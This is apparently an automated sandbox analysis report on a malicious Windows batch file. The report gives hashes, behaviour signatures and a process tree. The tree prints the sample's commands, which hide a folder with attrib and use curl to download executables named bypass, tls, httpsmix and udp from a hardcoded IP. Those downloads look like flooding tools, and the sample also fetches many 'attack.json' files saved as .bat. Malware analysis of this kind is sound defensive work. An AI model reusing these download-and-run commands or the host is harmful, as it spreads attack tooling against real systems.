cc4cc2391ac8ae17753bf0eaa22433a212f33190df3f309cf41d29b809973356

Analysis

max time kernel
1201s
max time network
1205s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
16/06/2024, 12:26

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

t45re3hyu7.bat
Size

3KB
MD5

6ae4169ad0f978ca427def599284cb1a
SHA1

e47e2ea5ae15391dc35a58fed9399f321a0b2244
SHA256

cc4cc2391ac8ae17753bf0eaa22433a212f33190df3f309cf41d29b809973356
SHA512

75a9ba3d075e92245fb1e4de48bbb53f4630bb06901b1a0cb6252a826640b47ba4ff0da0f72022b82208c2848c9631263db550ac3eaa859c79f815137fff3d39

Score

8^/10

Malware Config

Signatures

Downloads MZ/PE file

Delays execution with timeout.exe 64 IoCs

evasion

pid	Process
4088	timeout.exe
2912	timeout.exe
376	timeout.exe
612	timeout.exe
1264	timeout.exe
2060	timeout.exe
3592	Process not Found
2160	timeout.exe
4832	Process not Found
3968	Process not Found
2320	timeout.exe
940	timeout.exe
1416	timeout.exe
3308	timeout.exe
2108	timeout.exe
3384	timeout.exe
4808	timeout.exe
1332	timeout.exe
4820	timeout.exe
2988	timeout.exe
4644	timeout.exe
4788	timeout.exe
1948	timeout.exe
1096	timeout.exe
572	timeout.exe
3280	timeout.exe
1256	timeout.exe
3132	timeout.exe
4924	Process not Found
4532	timeout.exe
3864	timeout.exe
4432	timeout.exe
2688	Process not Found
2080	timeout.exe
5016	timeout.exe
1516	timeout.exe
1692	timeout.exe
2340	timeout.exe
5052	timeout.exe
4684	timeout.exe
4640	timeout.exe
1692	timeout.exe
1828	timeout.exe
2172	timeout.exe
836	timeout.exe
2444	Process not Found
4808	timeout.exe
2820	timeout.exe
3392	timeout.exe
3392	timeout.exe
1788	Process not Found
4380	timeout.exe
1640	timeout.exe
2052	timeout.exe
3968	timeout.exe
3468	timeout.exe
5068	timeout.exe
4080	timeout.exe
2332	timeout.exe
3904	timeout.exe
2232	timeout.exe
2688	timeout.exe
4820	timeout.exe
4732	timeout.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 536 wrote to memory of 3100	536	cmd.exe	92
PID 536 wrote to memory of 3100	536	cmd.exe	92
PID 536 wrote to memory of 4840	536	cmd.exe	93
PID 536 wrote to memory of 4840	536	cmd.exe	93
PID 536 wrote to memory of 2012	536	cmd.exe	94
PID 536 wrote to memory of 2012	536	cmd.exe	94
PID 536 wrote to memory of 4520	536	cmd.exe	95
PID 536 wrote to memory of 4520	536	cmd.exe	95
PID 536 wrote to memory of 1624	536	cmd.exe	104
PID 536 wrote to memory of 1624	536	cmd.exe	104
PID 536 wrote to memory of 2024	536	cmd.exe	107
PID 536 wrote to memory of 2024	536	cmd.exe	107
PID 536 wrote to memory of 4468	536	cmd.exe	108
PID 536 wrote to memory of 4468	536	cmd.exe	108
PID 536 wrote to memory of 4452	536	cmd.exe	109
PID 536 wrote to memory of 4452	536	cmd.exe	109
PID 536 wrote to memory of 2820	536	cmd.exe	110
PID 536 wrote to memory of 2820	536	cmd.exe	110
PID 536 wrote to memory of 2244	536	cmd.exe	111
PID 536 wrote to memory of 2244	536	cmd.exe	111
PID 536 wrote to memory of 4916	536	cmd.exe	112
PID 536 wrote to memory of 4916	536	cmd.exe	112
PID 536 wrote to memory of 1928	536	cmd.exe	113
PID 536 wrote to memory of 1928	536	cmd.exe	113
PID 536 wrote to memory of 4840	536	cmd.exe	114
PID 536 wrote to memory of 4840	536	cmd.exe	114
PID 536 wrote to memory of 4788	536	cmd.exe	115
PID 536 wrote to memory of 4788	536	cmd.exe	115
PID 536 wrote to memory of 4688	536	cmd.exe	116
PID 536 wrote to memory of 4688	536	cmd.exe	116
PID 536 wrote to memory of 760	536	cmd.exe	117
PID 536 wrote to memory of 760	536	cmd.exe	117
PID 536 wrote to memory of 3868	536	cmd.exe	118
PID 536 wrote to memory of 3868	536	cmd.exe	118
PID 536 wrote to memory of 4088	536	cmd.exe	119
PID 536 wrote to memory of 4088	536	cmd.exe	119
PID 536 wrote to memory of 4724	536	cmd.exe	120
PID 536 wrote to memory of 4724	536	cmd.exe	120
PID 536 wrote to memory of 4536	536	cmd.exe	121
PID 536 wrote to memory of 4536	536	cmd.exe	121
PID 536 wrote to memory of 4336	536	cmd.exe	122
PID 536 wrote to memory of 4336	536	cmd.exe	122
PID 536 wrote to memory of 4560	536	cmd.exe	123
PID 536 wrote to memory of 4560	536	cmd.exe	123
PID 536 wrote to memory of 5012	536	cmd.exe	124
PID 536 wrote to memory of 5012	536	cmd.exe	124
PID 536 wrote to memory of 1716	536	cmd.exe	125
PID 536 wrote to memory of 1716	536	cmd.exe	125
PID 536 wrote to memory of 2184	536	cmd.exe	126
PID 536 wrote to memory of 2184	536	cmd.exe	126
PID 536 wrote to memory of 4156	536	cmd.exe	127
PID 536 wrote to memory of 4156	536	cmd.exe	127
PID 536 wrote to memory of 2248	536	cmd.exe	128
PID 536 wrote to memory of 2248	536	cmd.exe	128
PID 536 wrote to memory of 4612	536	cmd.exe	129
PID 536 wrote to memory of 4612	536	cmd.exe	129
PID 536 wrote to memory of 5064	536	cmd.exe	130
PID 536 wrote to memory of 5064	536	cmd.exe	130
PID 536 wrote to memory of 2232	536	cmd.exe	131
PID 536 wrote to memory of 2232	536	cmd.exe	131
PID 536 wrote to memory of 1720	536	cmd.exe	132
PID 536 wrote to memory of 1720	536	cmd.exe	132
PID 536 wrote to memory of 3664	536	cmd.exe	133
PID 536 wrote to memory of 3664	536	cmd.exe	133

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
3100	attrib.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\t45re3hyu7.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:536
- C:\Windows\system32\attrib.exe
  attrib +h C:\Users\Admin\AppData\Roaming\hjUZ
  2⤵
  - Views/modifies file attributes
  PID:3100
- C:\Windows\system32\curl.exe
  curl -s -o ua.txt http://185.254.97.190:4001/download/ua.txt
  2⤵
  PID:4840
- C:\Windows\system32\curl.exe
  curl -s -o proxy.txt http://185.254.97.190:4001/download/proxy.txt
  2⤵
  PID:2012
- C:\Windows\system32\curl.exe
  curl -s -o YzxHTTPs.exe http://185.254.97.190:4001/download/bypass.exe
  2⤵
  PID:4520
- C:\Windows\system32\curl.exe
  curl -s -o XaZDFTLSV.exe http://185.254.97.190:4001/download/tlsv.exe
  2⤵
  PID:1624
- C:\Windows\system32\curl.exe
  curl -s -o AXzTTPSMIX.exe http://185.254.97.190:4001/download/httpsmix.exe
  2⤵
  PID:2024
- C:\Windows\system32\curl.exe
  curl -s -o ZDaSUDP.exe http://185.254.97.190:4001/download/udp.exe
  2⤵
  PID:4468
- C:\Windows\system32\curl.exe
  curl -o 8465.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4452
- C:\Windows\system32\curl.exe
  curl -o 3737.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2820
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2244
- C:\Windows\system32\curl.exe
  curl -o 17833.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4916
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1928
- C:\Windows\system32\curl.exe
  curl -o 11383.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4840
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4788
- C:\Windows\system32\curl.exe
  curl -o 29506.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4688
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:760
- C:\Windows\system32\curl.exe
  curl -o 4015.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3868
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4088
- C:\Windows\system32\curl.exe
  curl -o 173.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4724
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4536
- C:\Windows\system32\curl.exe
  curl -o 20693.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4336
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4560
- C:\Windows\system32\curl.exe
  curl -o 21799.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:5012
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1716
- C:\Windows\system32\curl.exe
  curl -o 3904.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2184
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4156
- C:\Windows\system32\curl.exe
  curl -o 23412.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2248
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4612
- C:\Windows\system32\curl.exe
  curl -o 22603.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:5064
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:2232
- C:\Windows\system32\curl.exe
  curl -o 2723.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1720
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3664
- C:\Windows\system32\curl.exe
  curl -o 20856.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2924
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3992
- C:\Windows\system32\curl.exe
  curl -o 6670.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:948
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1020
- C:\Windows\system32\curl.exe
  curl -o 1274.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:412
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4980
- C:\Windows\system32\curl.exe
  curl -o 25182.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1588
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3036
- C:\Windows\system32\curl.exe
  curl -o 27432.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4984
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2984
- C:\Windows\system32\curl.exe
  curl -o 15252.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2024
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2664
- C:\Windows\system32\curl.exe
  curl -o 24806.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4712
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4452
- C:\Windows\system32\curl.exe
  curl -o 26721.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2236
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:4644
- C:\Windows\system32\curl.exe
  curl -o 31246.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3380
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3360
- C:\Windows\system32\curl.exe
  curl -o 24926.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2072
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4016
- C:\Windows\system32\curl.exe
  curl -o 22615.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2240
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2688
- C:\Windows\system32\curl.exe
  curl -o 9952.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2860
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2892
- C:\Windows\system32\curl.exe
  curl -o 12886.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3660
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4464
- C:\Windows\system32\curl.exe
  curl -o 13941.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1716
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1336
- C:\Windows\system32\curl.exe
  curl -o 21376.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1988
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4236
- C:\Windows\system32\curl.exe
  curl -o 26966.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1660
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:444
- C:\Windows\system32\curl.exe
  curl -o 25952.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:776
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2492
- C:\Windows\system32\curl.exe
  curl -o 27467.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2996
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:3968
- C:\Windows\system32\curl.exe
  curl -o 4959.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2440
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:732
- C:\Windows\system32\curl.exe
  curl -o 13784.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3244
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4488
- C:\Windows\system32\curl.exe
  curl -o 26052.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2960
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3992
- C:\Windows\system32\curl.exe
  curl -o 6570.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2596
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4868
- C:\Windows\system32\curl.exe
  curl -o 21988.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3316
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4492
- C:\Windows\system32\curl.exe
  curl -o 28834.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1828
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2916
- C:\Windows\system32\curl.exe
  curl -o 27796.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2976
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2024
- C:\Windows\system32\curl.exe
  curl -o 9451.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2664
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3984
- C:\Windows\system32\curl.exe
  curl -o 1365.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4400
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:404
- C:\Windows\system32\curl.exe
  curl -o 24055.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4544
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2632
- C:\Windows\system32\curl.exe
  curl -o 25569.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2920
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1064
- C:\Windows\system32\curl.exe
  curl -o 27240.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3360
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:436
- C:\Windows\system32\curl.exe
  curl -o 30449.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4688
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3000
- C:\Windows\system32\curl.exe
  curl -o 30248.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:5104
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2240
- C:\Windows\system32\curl.exe
  curl -o 14976.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3904
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4832
- C:\Windows\system32\curl.exe
  curl -o 22068.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4724
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4616
- C:\Windows\system32\curl.exe
  curl -o 31956.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3536
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1556
- C:\Windows\system32\curl.exe
  curl -o 16370.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4536
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1004
- C:\Windows\system32\curl.exe
  curl -o 9485.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:5012
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3660
- C:\Windows\system32\curl.exe
  curl -o 12297.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4548
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2436
- C:\Windows\system32\curl.exe
  curl -o 20250.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2256
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:2160
- C:\Windows\system32\curl.exe
  curl -o 9484.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4864
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1660
- C:\Windows\system32\curl.exe
  curl -o 28721.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4508
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:4532
- C:\Windows\system32\curl.exe
  curl -o 13441.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2492
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4996
- C:\Windows\system32\curl.exe
  curl -o 4167.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:716
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2440
- C:\Windows\system32\curl.exe
  curl -o 29953.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:732
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4068
- C:\Windows\system32\curl.exe
  curl -o 18465.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3448
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4656
- C:\Windows\system32\curl.exe
  curl -o 20105.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4636
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2568
- C:\Windows\system32\curl.exe
  curl -o 28903.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2596
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2764
- C:\Windows\system32\curl.exe
  curl -o 2620.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4920
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2980
- C:\Windows\system32\curl.exe
  curl -o 6503.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1300
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:5044
- C:\Windows\system32\curl.exe
  curl -o 1299.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2168
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2976
- C:\Windows\system32\curl.exe
  curl -o 13937.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4940
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2936
- C:\Windows\system32\curl.exe
  curl -o 17761.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2352
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:3864
- C:\Windows\system32\curl.exe
  curl -o 28389.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4404
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:868
- C:\Windows\system32\curl.exe
  curl -o 28940.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1672
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4168
- C:\Windows\system32\curl.exe
  curl -o 10609.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2012
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2544
- C:\Windows\system32\curl.exe
  curl -o 21220.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3360
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:416
- C:\Windows\system32\curl.exe
  curl -o 28951.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4972
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:232
- C:\Windows\system32\curl.exe
  curl -o 20366.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1576
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3080
- C:\Windows\system32\curl.exe
  curl -o 12006.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1580
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4188
- C:\Windows\system32\curl.exe
  curl -o 28372.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1764
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:5052
- C:\Windows\system32\curl.exe
  curl -o 27288.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1728
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4616
- C:\Windows\system32\curl.exe
  curl -o 1110.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2656
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:752
- C:\Windows\system32\curl.exe
  curl -o 4329.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2860
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1344
- C:\Windows\system32\curl.exe
  curl -o 6903.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1000
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:1256
- C:\Windows\system32\curl.exe
  curl -o 30184.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:1060
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1732
- C:\Windows\system32\curl.exe
  curl -o 8312.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4844
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2228
- C:\Windows\system32\curl.exe
  curl -o 14992.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2892
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1644
- C:\Windows\system32\curl.exe
  curl -o 31516.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3036
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2184
- C:\Windows\system32\curl.exe
  curl -o 14444.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:864
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1360
- C:\Windows\system32\curl.exe
  curl -o 16721.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3816
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:5088
- C:\Windows\system32\curl.exe
  curl -o 27410.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4508
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2188
- C:\Windows\system32\curl.exe
  curl -o 19373.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:744
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:5064
- C:\Windows\system32\curl.exe
  curl -o 20150.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3156
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:5060
- C:\Windows\system32\curl.exe
  curl -o 23486.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2908
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4420
- C:\Windows\system32\curl.exe
  curl -o 9260.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2224
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4440
- C:\Windows\system32\curl.exe
  curl -o 9860.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:456
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:628
- C:\Windows\system32\curl.exe
  curl -o 19975.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:572
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3992
- C:\Windows\system32\curl.exe
  curl -o 18315.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4008
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:5100
- C:\Windows\system32\curl.exe
  curl -o 22467.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4808
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2020
- C:\Windows\system32\curl.exe
  curl -o 2559.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2804
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1812
- C:\Windows\system32\curl.exe
  curl -o 32530.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:452
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4392
- C:\Windows\system32\curl.exe
  curl -o 7983.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4572
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4396
- C:\Windows\system32\curl.exe
  curl -o 6346.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2348
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3056
- C:\Windows\system32\curl.exe
  curl -o 22103.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:404
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:3444
- C:\Windows\system32\curl.exe
  curl -o 13827.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3380
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1928
- C:\Windows\system32\curl.exe
  curl -o 18358.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4200
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:4788
- C:\Windows\system32\curl.exe
  curl -o 21350.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3608
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:1948
- C:\Windows\system32\curl.exe
  curl -o 13613.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:436
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4688
- C:\Windows\system32\curl.exe
  curl -o 27584.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3512
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:4016
- C:\Windows\system32\curl.exe
  curl -o 13566.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4516
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:624
- C:\Windows\system32\curl.exe
  curl -o 20560.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:3104
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:2652
- C:\Windows\system32\curl.exe
  curl -o 8038.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:4280
- C:\Windows\system32\timeout.exe
  Timeout /t 2 /nobreak
  2⤵
  PID:1208
- C:\Windows\system32\curl.exe
  curl -o 31855.bat http://185.254.97.190:8954/download/attack.json
  2⤵
  PID:2496
- C:\Windows\system32\timeout.exe
